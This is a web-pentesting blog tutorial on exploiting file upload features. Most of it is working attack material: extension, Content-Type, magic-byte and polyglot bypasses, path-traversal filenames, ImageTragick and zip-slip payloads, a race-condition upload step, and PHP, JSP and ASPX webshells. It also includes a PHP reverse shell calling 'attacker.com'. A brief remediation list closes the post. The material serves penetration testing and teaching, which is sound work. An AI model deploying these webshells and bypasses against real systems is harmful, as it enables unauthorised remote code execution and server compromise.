← Back to writing
Web Pentesting

File Upload Vulnerabilities

Jul 14, 2024
4 min read
lawbyte

File upload features are a goldmine during pentests. A misconfigured upload endpoint can lead directly to Remote Code Execution. This guide covers every filter bypass technique and exploitation path.

Impact Overview

Scenario Impact
Upload PHP/JSP/ASPX shell Direct RCE on server
Upload HTML/SVG Stored XSS
Upload XML/SVG with XXE SSRF, file read
Upload ZIP bomb DoS
Path traversal in filename Overwrite server files
Upload to CDN without validation Client-side malware hosting

Basic Reconnaissance

Before bypassing filters, understand what you’re dealing with:

  1. What file types does the feature accept?
  2. Where are uploaded files stored? (Check the response for the URL)
  3. Are files served from the same domain? (XSS risk)
  4. What is the server technology? (PHP, Java, .NET, Node)
  5. What validation is happening? (Client-side, MIME, extension, magic bytes)

Extension Bypass

PHP alternatives

.php .php3 .php4 .php5 .php7 .phtml .phar .shtml
.php.jpg (if server uses substr for extension check)
shell.PhP (case sensitivity on Linux vs Windows)
shell.php%00.jpg (null byte truncation in older PHP)
shell.php .jpg (trailing space — Windows only)
shell.php. (trailing dot — Windows)

ASP.NET alternatives

.asp .aspx .ashx .asmx .ascx .axd .cshtml .vbhtml

JSP alternatives

.jsp .jspx .jspf .jspa .jsw .jsv .jtml

Apache .htaccess trick

Upload .htaccess first:

AddType application/x-httpd-php .jpg

Then upload a PHP shell named shell.jpg. Apache will execute it as PHP.

IIS web.config trick

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/>
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config"/>
</fileExtensions>
<hiddenSegments>
<remove segment="web.config"/>
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<% Response.Write(CreateObject("WScript.Shell").Exec("whoami").StdOut.ReadAll()) %>

MIME Type / Content-Type Bypass

The server may check the Content-Type header in the request. This is trivially bypassed:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary

----boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← spoofed

<?php system($_GET['cmd']); ?>
----boundary--

Magic Bytes Bypass

The server reads the first bytes of the file to determine type. Prepend real image magic bytes before your payload:

# GIF magic bytes
payload = b'GIF89a' + b'<?php system($_GET["cmd"]); ?>'
with open('shell.php.gif', 'wb') as f:
f.write(payload)

Common magic bytes:

Type Hex ASCII prefix
JPEG FF D8 FF ÿØÿ
PNG 89 50 4E 47 ‰PNG
GIF 47 49 46 38 GIF8
PDF 25 50 44 46 %PDF
ZIP 50 4B 03 04 PK

Polyglot Files

A single file that is simultaneously valid in two formats.

JPEG + PHP polyglot

# Inject PHP into JPEG comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.php

PDF + PHP polyglot

%PDF-1.4
%aaaa
<?php system($_GET['cmd']); ?>

Many PDF parsers read the magic bytes; PHP executes anything between <?php tags.


Path Traversal in Filename

Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"

Or URL-encoded:

filename=..%2F..%2Fshell.php
filename=....//....//shell.php

This can overwrite files like authorized_keys, cron jobs, or drop a webshell outside the upload directory.


ImageTragick (ImageMagick)

If the server processes images with ImageMagick, try the classic MVG/MSL exploit:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|ls "-la)'
pop graphic-context

Or the SSRF variant:

push graphic-context
viewbox 0 0 640 480
fill 'url(http://attacker.com/)'
pop graphic-context

ZIP/Archive Exploitation

Zip Slip

Many applications extract ZIP archives. If the extraction code doesn’t sanitize paths:

# Create malicious zip with path traversal
python -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
z.write('shell.php', '../../shell.php')
"
ln -s /etc/passwd passwd.txt
zip --symlinks malicious.zip passwd.txt

If extracted and served, reading passwd.txt returns /etc/passwd.


Double Extension Race Condition

Some servers temporarily store the file, run a scan, then delete or rename it. Upload a PHP shell and hit the temporary URL repeatedly before the scan completes:

# Upload in one terminal
curl -F "file=@shell.php" https://target.com/upload

# Race to access in another terminal (Turbo Intruder / ffuf)
ffuf -u https://target.com/uploads/shell.php -w /dev/null -rate 100

WebShell Payloads

Minimal PHP

<?php system($_GET['cmd']); ?>
<?php passthru($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>
<?=`$_GET[c]`?>

PHP reverse shell

<?php
$sock=fsockopen("attacker.com",4444);
$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>

JSP webshell

<%@ page import="java.util.*,java.io.*"%>
<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
DataInputStream in = new DataInputStream(p.getInputStream());
String line; while((line = in.readLine()) != null) out.println(line); %>

ASPX webshell

<%@ Page Language="C#" %>
<% System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd()); %>

Post-Upload — File Execution

After uploading, you need to trigger execution. Try:

  1. Direct URL access — if you know the upload path.
  2. LFI chaininginclude($_GET['file']) + file=../uploads/shell.jpg.
  3. XXE + file upload — upload an XML file, trigger XXE to read it as PHP.
  4. Log poisoning — upload text with <?php?>, then LFI the access log.
  5. Template injection — if uploads feed a template engine.

Remediation

  • Validate file content against its declared type (read magic bytes server-side).
  • Regenerate the filename server-side — never use the user-supplied name.
  • Store uploads outside the webroot, or in a separate domain that can’t execute server-side code.
  • Strip metadata from images with exiftool -all= file.jpg.
  • Limit file size to what the feature actually requires.
  • Scan uploads with an AV engine or dedicated malware scanner.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.